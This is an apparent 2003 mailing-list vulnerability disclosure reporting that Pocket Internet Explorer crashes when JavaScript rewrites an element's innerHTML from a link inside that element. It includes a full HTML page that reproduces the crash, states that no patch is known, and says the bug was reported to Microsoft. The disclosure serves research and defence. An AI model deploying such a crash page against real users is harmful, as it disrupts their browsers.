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JS Bug makes it possible to deliberately crash Pocket PC IE
From: Christopher Sogge Røtnes <crotnes () student sv uio no>
Date: Fri, 03 Jan 2003 09:56:06 +0100
PROBLEM DESCRIPTION:Calling a javascript from an object written to same page with the object.innerHTML function causes Pocket Internet Explorer (PIE from now on) to crash.
SOFTWARE AFFECTED: Only PIE is affected, "regular" IE will show the pages as intented. EXAMPLE: <html> <head> <title>Crash PIE</title> <script language="Javascript"> function displayPage(page){ if(page=="onload"){main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">Crash me</a>";
} if(page=="crash"){main.innerHTML="<a href=\"#\" onClick=\"displayPage('crash');\">You are going down!</a>";
} } </script> </head> <body onLoad="displayPage('onload');"> <hr> <span id="main"></span> </body></html> SOLUTIONS: no known patch available Problem was reported to MS (Norway) 2nd of January 2003. Chris
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- JS Bug makes it possible to deliberately crash Pocket PC IE Christopher Sogge Røtnes (Jan 03)